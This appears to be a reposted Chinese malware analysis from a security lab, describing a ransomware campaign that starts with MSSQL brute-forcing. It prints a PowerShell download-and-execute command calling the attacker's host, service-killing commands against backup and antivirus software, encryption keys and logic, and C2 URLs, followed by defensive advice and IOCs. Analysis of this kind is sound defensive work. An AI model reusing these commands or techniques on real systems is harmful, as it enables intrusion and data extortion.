APT组织再次活跃—通过爆破数据库发起勒索攻击
liuian 2025-09-14 22:26 2 浏览
事件概述
近期,有客户反馈服务器文件被加密,新华三攻防实验室立即响应。在排查过程中,发现中毒主机上有大量MSSQL爆破日志及PowerShell运行日志。通过对日志及关联样本进行分析,最终判定此次攻击为“匿影”组织所为。
“匿影”组织于2019年3月份首次被披露,从被披露的3年来,该组织一直保持较高的活跃度,变种也在持续升级。在早期活动中,“匿影”使用永恒之蓝漏洞向受害者计算机植入挖矿病毒,利用中毒主机资源挖取门罗币为主的加密数字货币。2020年4月份,一场在全网大规模传播“WannaRen”勒索病毒事件引起广泛关注,经溯源分析,其幕后黑手正是“匿影”组织。
12月份,研究人员在“匿影”的攻击活动中发现了一个新的自称为CryptoJoker勒索模块,索要赎金从“WannaRen”的0.05BTC涨至0.1BTC;在随后的“匿影”攻击套件中还发现了文件窃密模块,新的窃密模块主要对用户的虚拟货币钱包、身份证、密码等重要文件数据进行窃取。在国家对挖矿活动整治的背景下,该组织成功拓展了勒索、窃密等能力。并且,我们在之后的“匿影”组织攻击活动跟踪中,发现多数事件均以勒索为目的,表明该组织已经将重心从挖矿转向勒索攻击。
"匿影"组织近年发起的主要攻击事件
事件分析
攻击流程
新华三攻防实验室还原“匿影”完整勒索攻击过程
样本分析
■ 初始入侵
通过MSSQL扫描爆破获取中毒主机权限,最终执行PowerShell指令,下载cpu2.txt到本地执行
解码为:
IEX((new-objectnet.webclient).downloadstring ('http://185.198.166.202/cpu2.txt'))
■ 载荷下载
cpu2.txt实际是powershell下载器
下载各种文件至C:\Users\Public文件夹下
下载完成后,cpu2.txt会执行ms.exe
■ 白加黑利用
ms.exe主要负责执行lu.exe,利用白加黑技术躲避杀软检测,执行后续攻击
lu.exe是白文件,原文件名"Start.exe",Sandboxie相关,包含有效证书
lu.exe会加载SbieDll.dll,该dll为黑文件,负责解密执行123.txt
■ 勒索实施
1、123.txt
123.txt内容经过Base64编码,解码后,得到一个整型的宽字节数组。
将该整数组转为bytes类型后得到一个未知类型文件,经分析,该文件由一段shellcode和一个恶意可执行PE文件“123_dump”组合构成。
Shellcode用来解密出被混淆的API,通过调用VirtualAlloc,VirtualProtect等API,加载“123_dump”到新分配内存空间中执行。
2、123_dump——解密执行shell.txt
样本运行后,首先会查找目录C:\users\public下是否有1949.txt,该文件的存在是决定程序是否继续执行的标志,但程序并未加载解析1949.txt的内容。
进程提权,程序会查询当前进程,实现系统级别提权。
解密shell.txt。程序会拼接当前程序目录C:\User\Public\shell.txt查找shell.txt, 若文件存在,则加载到申请的内存空间中。shell.txt本身是经过加密的文件,无法直接执行。程序随即通过硬编码的解密算法字符串“RC4”和密钥“999888”作为参数传入sub_10001DFB函数中。
经分析sub_10001DFB函数中,不仅支持RC4算法解密,还包括对RC2,DES,3DES,AES192,AES256,以及对分组加密的五种模式CBC,ECB,OFB,CFB CTR进行解密。
RC4解密完成后,在新分配的内存空间中得到一个可执行PE文件。
随后程序使用进程镂空方式将该恶意PE文件注入到系统程序servces.exe并执行。
3、shell.txt
MD5 | 96cec5f391836920f1442a6492b02bd8 |
文件大小 | 4.28 MB (4,489,216 字节) |
文件类型 | PE32,exe |
时间戳 | 2022-09-01 09:46:31 |
编译信息 | Microsoft Visual C/C++(6.0 (1720-9782))[EXE32] |
C&C | m.mssqlnewpro.com |
shell.txt包含了11个子PE文件,用以实现提权、终止进程、终止服务、加密文件的功能,主要调用关系如下:
为方便描述,将子PE文件命名为
shell.txt.decrypted2.v~shell.txt.decrypted12.v,具体分析见下文。
(1) shell.txt
创建事件对象:ezrxtcfyvgihuewawaeewekb
判断是否有管理员权限,取不同标识字符串,管理员为“zzz”,非管理员为“jjj”
获取主机名、用户名、公网IP等信息,与权限标识字符串拼接成一个字符串作为文件名称
回传信息至:
hxxp://m.mssqlnewpro.com/mssqlzzz/upload.php
然后,创建cmd.exe或notepad.exe进程并注入恶意载荷shell.txt.decrypted.2.v实施勒索攻击。
在非管理员权限下,shell.txt释放C:\Users\Public\a.dll、C:\Users\Public\CVE20211675.exe、C:\Users\Public\MSFRottenPotato.exe等PE文件,利用CVE-2021-1675、CVE-2021-1732、CVE-2022-21882等漏洞进行提权,并重新执行lu.exe文件。
(2)shell.txt.decrypted.2.v
MD5 | 2762cf71bb00085bf326d02133ac47c1 |
文件大小 | 636 KB (651,264 字节) |
文件类型 | PE32,exe |
时间戳 | 2022-09-01 09:42:39 |
编译信息 | Microsoft Visual C/C++(6.0 (1720-9782))[EXE32] |
C&C | m.mssqlnewpro.com |
判断是否为管理员,取不同标识字符串:
另外创建一个线程,下载
hxxps://m.mssqlnewpro.com/admin.jpg ,对其进行RC4 解密,key为"999888",然后通过进程注入执行。该解密方式和key与123.txt解密shell.txt一致。
再次判断管理员权限,如果是管理员,则:
先删除之前下载的文件防止溯源分析,部分如下:
然后依次注入执行 shell.txt.decrypted.3.v 、shell.txt.decrypted.4.v
(3)shell.txt.decrypted.4.v——关闭进程和服务
MD5 | ad0742217c04f05b90cbea2a86b047ca |
文件大小 | 164 KB (167,936 字节) |
文件类型 | PE32,exe |
时间戳 | 2022-08-29 14:20:47 |
编译信息 | Microsoft Visual C/C++(6.0 (1720-9782))[EXE32] |
创建事件对象
rsedtfyguhijoiy69ggjhhjggs464
查找并关闭以下进程:
关闭以下服务:
通过命令行关闭大量数据库和数据备份相关服务,及一些安全软件相关服务,共183项
NET stop MSSQL$SQLEXPRESS /Y
NET STOP acrsch2svc /Y
NET STOP acronisagent /Y
NET STOP arsm /Y
NET STOP FirebirdServerDefaultInstance /Y
NET STOP FirebirdGuardianDefaultInstance /Y
NET STOP MuzzleServer /Y
sc stop \"Acronis VSS Provider\" /y
sc stop \"Enterprise Client Service\" /y
sc stop \"Sophos Agent\" /y
……
sc stop kavfsslp /y
sc stop KAVFSGT
sc stop KAVFS /y
sc stop mfefire
(4)shell.txt.decrypted.5.v——NTSD.exe
原始文件名 | NTSD.Exe |
MD5 | fdd5617984b24d21991f80bc94714218 |
文件大小 | 31.0 KB (31,744 字节) |
文件类型 | PE32,exe |
时间戳 | 2001-08-18 04:54:36 |
pdb path: ntsd.pdb,是Windows自带的用户态调试工具,可用于强制结束进程。
(5)shell.txt.decrypted.3.v——执行加密操作
MD5 | 13fb686be7a929e8d96558a223da545e |
文件大小 | 272 KB (278,528 字节) |
文件类型 | PE32,exe |
时间戳 | 2022-09-01 09:41:07 |
编译信息 | Microsoft Visual C/C++(6.0 (1720-9782))[EXE32] |
C&C | m.mssqlnewpro.com |
判断是否为管理员,是则创建事件对象 eyrwtyyweyetywetrey, 不是则ewyrgrjhshasdftagdagere
在以下字符中随机生成RC4和AES密钥
密钥通过RSA公钥加密并base64编码保存
删除卷影
遍历各磁盘,获取具有以下后缀的目标文件
doc, docx, xls, dat, xlsx, ec, ppt, pptx, pst, ost, msg, eml, vsd, vsdx, txt, csv, rtf, 123, wks, wk1, pdf, dwg, onetoc2, snt, jpeg, jpg, docb, docm, dot, dotm, dotx, xlsm, xlsb, xlw, xlt, xlm, xlc, xltx, xltm, pptm, pot, pps, ppsm, ppsx, ppam, potx, potm, edb, hwp, 602, sxi, sti, sldx, sldm, vdi, vmdk, vmx, gpg, aes, ARC, PAQ, bz2, tbk, bak, tar, tgz, gz, 7z, rar, zip, backup, iso, vcd, bmp, png, gif, raw, cgm, tif, tiff, nef, psd, ai, svg, djvu, m4u, m3u, mid, wma, flv, 3g2, mkv, 3gp, mp4, mov, avi, asf, mpeg, vob, mpg, wmv, fla, swf, wav, mp3, sh, class, jar, java, rb, asp, php, jsp, brd, sch, dch, dip, pl, vb, vbs, ps1, bat, cmd, js, asm, h, pas, cpp, c, cs, suo, sln, ldf, mdf, ibd, myi, myd, frm, odb, dbf, db, mdb, accdb, sql, sqlitedb, sqlite3, asc, lay6, lay, mml, sxm, otg, odg, uop, std, sxd, otp, odp, wb2, slk, dif, stc, sxc, ots, ods, 3dm, max, 3ds, uot, stw, sxw, ott, odt, pem, p12, csr, crt, key, pfx, der
排除包含以下字符串的文件路径:
■ 加密逻辑:
· 当文件小于等于20000字节(约19KB)时,使用RC4加密,key为"ksfdskjl81"
· 当文件大于20000字节,小于30000000字节(约19MB)时,全部读取加密,RC4加密全文件,AES加密前20000字节(CBC不填充模式,IV为0,实际加密20016字节,最后16字节为空),最后会附加16字节加密数据和684字节base64编码之后的RSA加密key
· 当文件大于等于30000000字节时,只加密前30000000字节,RC4加密前30000000字节,AES加密前100000字节(CBC不填充模式,IV为0,实际加密100016字节,最后16字节为空),后面保持原内容,最后会附加16字节加密数据和684字节base64编码之后的RSA加密key
加密后缀为.locked,被加密文件目录下会生成名为HOW_TO_DECRYPT.txt的勒索信
加密完成后,会连接一次C2服务器,回传相关信息和加密结果
“匿影”组织技术特点
■ 入侵传播阶段
“匿影”擅长在各大软件下载站、免费图床、网盘等公共基础网络上进行木马传播,比如,将伪装成BT下载器、激活工具程序的恶意代码上传至各大下载站。除此之外,一些第三方公司网站也被“匿影”攻陷并充当木马下载服务器。另外,“匿影”经常使用开源渗透工具Ladon对公网上的主机进行MS17-010漏洞利用、弱口令爆破等。
■ 载荷执行阶段
该组织具有模块化开发的能力,各组件分工明确。并且该组织注重躲避安全软件的检测,其常用的免杀手段包括:
1) 无文件攻击。无论是在早期挖矿还是在后期勒索中,当成功入侵到受害者主机后,“匿影”惯用PowerShell来执行后续一系列攻击步骤,包括其他恶意模块下载、加载执行、持久化等。
2) 白加黑技术。利用白exe加载恶意dll来躲避安全软件检测,该组织已使用过的白加黑利用手段有WINWODR.exe、Start.exe(Sandboxie)等。
3) 加密混淆核心载荷。通过PowerShell脚本下载的载荷通常进行了加密混淆处理,常使用Base64编码、逆序、字符类型转化、异或、RC4加密等。解密后的关键代码还会使用Themida壳或VMP壳进行保护,最后再被命名为以.txt和.jpg为主的具有迷惑性的文件后缀。
■ ATT&CK分布图
■ 具体技术行为描述表
ATT&CK 阶段/类别 | 具体行为 | 注释 |
初始访问 | 永恒之蓝漏洞 | 永恒之蓝漏洞 |
初始访问 | 入侵供应链 | 公共软件下载站 |
初始访问 | 弱口令爆破 | sqlserver、机器密码 |
执行 | 利用命令和脚本解释器 | PowerShell脚本 |
执行 | 诱导用户执行 | 破解软件、BT下载器 |
执行 | 进程注入 | 加载到内存执行 |
持久化 | 创建计划任务、自启动服务 | |
防御规避 | DLL劫持 | “白+黑”执行 |
防御规避 | 混淆文件或信息 | 编码和加密 |
防御规避 | 利用匿名网盘\图床存放攻击载荷 | 伪装jpg、txt等文件 |
防御规避 | 禁用安全软件产品 | |
防御规避 | 进程注入 | 加载到内存执行 |
防御规避 | 隐藏行为 | 消除攻击痕迹、删除日志 |
凭证访问 | 暴力破解 | |
发现 | 获取用户账户、文件和目录、系统信息 | |
横向移动 | 永恒之蓝漏洞 | 永恒之蓝漏洞 |
命令与控制 | 使用 FTP 服务器 | |
命令与控制 | 使用应用层协议 | 使用HTTP协议 |
影响 | 资源劫持(挖矿) | |
影响 | 加密文件、禁止系统恢复(勒索攻击) |
新华三防护方案
处置建议
1、避免将重要服务映射至公网,若业务需要,请增加口令复杂度,避免使用弱口令
2、尽量通过官方下载渠道下载软件,使用正版软件
3、请及时更新系统补丁,减少系统漏洞带来的风险
4、重要文件请及时备份
IPS特征库
针对本次勒索攻击事件应用的MSSQL爆破、MSSQL命令执行,新华三IPS特征库能够有效拦截,请及时开启相关功能。
AV特征库
新华三病毒特征库已支持查杀拦截此次事件使用的病毒文件,请及时更新至最新版本。
情报特征库
新华三情报特征库支持此次事件相关IOC的检测。
IOCs
■ MD5
2d7f3d26acc665c10fadacd7ee743165
773c3f361066a19fb67628e461450025
b627b7cb376bdc1f385bf92d218a3ec1
ad7a2de6004989b98f45f025419ae4bb
96cec5f391836920f1442a6492b02bd8
2762cf71bb00085bf326d02133ac47c1
ad0742217c04f05b90cbea2a86b047ca
fdd5617984b24d21991f80bc94714218
13fb686be7a929e8d96558a223da545e
■ C&C
hxxp://185.198.166.202/123.txt
hxxp://185.198.166.202/1949.txt
hxxp://185.198.166.202/2.exe
hxxp://185.198.166.202/SbieDll.dll
hxxp://185.198.166.202/cpu2.txt
hxxp://185.198.166.202/dwmc.exe
hxxp://185.198.166.202/lu.exe
hxxp://185.198.166.202/ms.exe
hxxp://185.198.166.202/msvcr100.dll
hxxp://185.198.166.202/shell.txt
hxxp://m.mssqlnewpro.com/1/upload.php
hxxp://m.mssqlnewpro.com/2/upload.php
hxxp://m.mssqlnewpro.com/3/upload.php
hxxp://m.mssqlnewpro.com/4/upload.php
hxxp://m.mssqlnewpro.com/5/upload.php
hxxp://m.mssqlnewpro.com/6/upload.php
hxxp://m.mssqlnewpro.com/mssql/upload.php
hxxp://m.mssqlnewpro.com/mssql2/upload.php
hxxp://m.mssqlnewpro.com/mssqlggg/upload.php
hxxp://m.mssqlnewpro.com/mssqlzzz/upload.php
hxxps://m.mssqlnewpro.com/admin.jpg
来源:新华三攻防实验室
编辑:老李
相关推荐
- python入门到脱坑函数—定义函数_如何定义函数python
-
Python函数定义:从入门到精通一、函数的基本概念函数是组织好的、可重复使用的代码块,用于执行特定任务。在Python中,函数可以提高代码的模块性和重复利用率。二、定义函数的基本语法def函数名(...
- javascript函数的call、apply和bind的原理及作用详解
-
javascript函数的call、apply和bind本质是用来实现继承的,专业点说法就是改变函数体内部this的指向,当一个对象没有某个功能时,就可以用这3个来从有相关功能的对象里借用过来...
- JS中 call()、apply()、bind() 的用法
-
其实是一个很简单的东西,认真看十分钟就从一脸懵B到完全理解!先看明白下面:例1obj.objAge;//17obj.myFun()//小张年龄undefined例2shows(...
- Pandas每日函数学习之apply函数_apply函数python
-
apply函数是Pandas中的一个非常强大的工具,它允许你对DataFrame或Series中的数据应用一个函数,可以是自定义的函数,也可以是内置的函数。apply可以作用于DataF...
- Win10搜索不习惯 换个设定就好了_window10搜索用不了怎么办
-
Windows10的搜索功能是真的方便,这点用惯了Windows10的小伙伴应该都知道,不过它有个小问题,就是Windows10虽然会自动联网搜索,但默认使用微软自家的Bing搜索引擎和Edge...
- 面试秘籍:call、bind、apply的区别,面试官为什么总爱问这三位?
-
引言你有没有发现,每次JavaScript面试,面试官总爱问你call、bind和apply的区别?好像这三个方法成了通关密码,掌握了它们,就能顺利过关。其实不难理解,面试官问这些问题,不...
- 记住这8招,帮你掌握“追拍“摄影技法—摄影早自习第422日
-
杨海英同学提问:请问叶梓老师,我练习追拍时,总也不能把运动的人物拍清晰,速度一般掌握在1/40-1/60,请问您如何把追拍拍的清晰?这跟不同的运动形式有关系吗?请您给讲讲要点,谢谢您!摄影:Damia...
- [Sony] 有点残酷的测试A7RII PK FS7
-
都是好机!手中利器!主要是最近天天研究fs5,想知道fs5与a7rii后期匹配问题,苦等朋友的fs5月底到货,于是先拿手里现有的fs7小测一下,十九八九也能看到fs5的影子,另外也了解一下fs5k标配...
- AndroidStudio_Android使用OkHttp发起Http请求
-
这个okHttp的使用,其实网络上有很多的案例的,但是,如果以前没用过,copy别人的直接用的话,可以发现要么导包导不进来,要么,人家给的代码也不完整,这里自己整理一下.1.引入OkHttp的jar...
- ESL-通过事件控制FreeSWITCH_es事务控制
-
通过事件提供的最底层控制机制,允许我们有效地利用工具箱,适时选择使用其中的单个工具。FreeSWITCH是一个核心交换与混合矩阵,它周围有几十个模块提供各种功能特性。我们完全控制了所有的即时信息,这些...
- 【调试】perf和火焰图_perf生成火焰图
-
简介perf是linux上的性能分析工具,perf可以对event进行统计得到event的发生次数,或者对event进行采样,得到每次event发生时的相关数据(cpu、进程id、运行栈等),利用这些...
- 文本检索控件也玩安卓?dtSearch Engine发布Android测试版
-
dtSearchEngineforLinux(原生64-bit/32-bitC++和JavaAPIs)和dtSearchEngineforWin&.NET(原生64-bi...
- 网站后台莫名增加N个管理员,记一次SQL注入攻击
-
网站没流量,但却经常被SQL注入光顾。最近,网站真的很奇怪,网站后台不光莫名多了很多“管理员”,所有的Wordpres插件还会被自动暂停,导致一些插件支持的页面,如WooCommerce无法正常访问、...
- 多元回归树分析Multivariate Regression Trees,MRT
-
多元回归树(MultivariateRegressionTrees,MRT)是单元回归树的拓展,是一种对一系列连续型变量递归划分成多个类群的聚类方法,是在决策树(decision-trees)基础...
- JMETER性能测试_JMETER性能测试指标
-
jmeter为性能测试提供了一下特色:jmeter可以对测试静态资源(例如js、html等)以及动态资源(例如php、jsp、ajax等等)进行性能测试jmeter可以挖掘出系统最大能处...
- 一周热门
-
-
【验证码逆向专栏】vaptcha 手势验证码逆向分析
-
Python实现人事自动打卡,再也不会被批评
-
Psutil + Flask + Pyecharts + Bootstrap 开发动态可视化系统监控
-
一个解决支持HTML/CSS/JS网页转PDF(高质量)的终极解决方案
-
再见Swagger UI 国人开源了一款超好用的 API 文档生成框架,真香
-
网页转成pdf文件的经验分享 网页转成pdf文件的经验分享怎么弄
-
C++ std::vector 简介
-
飞牛OS入门安装遇到问题,如何解决?
-
系统C盘清理:微信PC端文件清理,扩大C盘可用空间步骤
-
10款高性能NAS丨双十一必看,轻松搞定虚拟机、Docker、软路由
-
- 最近发表
-
- python入门到脱坑函数—定义函数_如何定义函数python
- javascript函数的call、apply和bind的原理及作用详解
- JS中 call()、apply()、bind() 的用法
- Pandas每日函数学习之apply函数_apply函数python
- Win10搜索不习惯 换个设定就好了_window10搜索用不了怎么办
- 面试秘籍:call、bind、apply的区别,面试官为什么总爱问这三位?
- 记住这8招,帮你掌握“追拍“摄影技法—摄影早自习第422日
- [Sony] 有点残酷的测试A7RII PK FS7
- AndroidStudio_Android使用OkHttp发起Http请求
- ESL-通过事件控制FreeSWITCH_es事务控制
- 标签列表
-
- python判断字典是否为空 (50)
- crontab每周一执行 (48)
- aes和des区别 (43)
- bash脚本和shell脚本的区别 (35)
- canvas库 (33)
- dataframe筛选满足条件的行 (35)
- gitlab日志 (33)
- lua xpcall (36)
- blob转json (33)
- python判断是否在列表中 (34)
- python html转pdf (36)
- 安装指定版本npm (37)
- idea搜索jar包内容 (33)
- css鼠标悬停出现隐藏的文字 (34)
- linux nacos启动命令 (33)
- gitlab 日志 (36)
- adb pull (37)
- python判断元素在不在列表里 (34)
- python 字典删除元素 (34)
- vscode切换git分支 (35)
- python bytes转16进制 (35)
- grep前后几行 (34)
- hashmap转list (35)
- c++ 字符串查找 (35)
- mysql刷新权限 (34)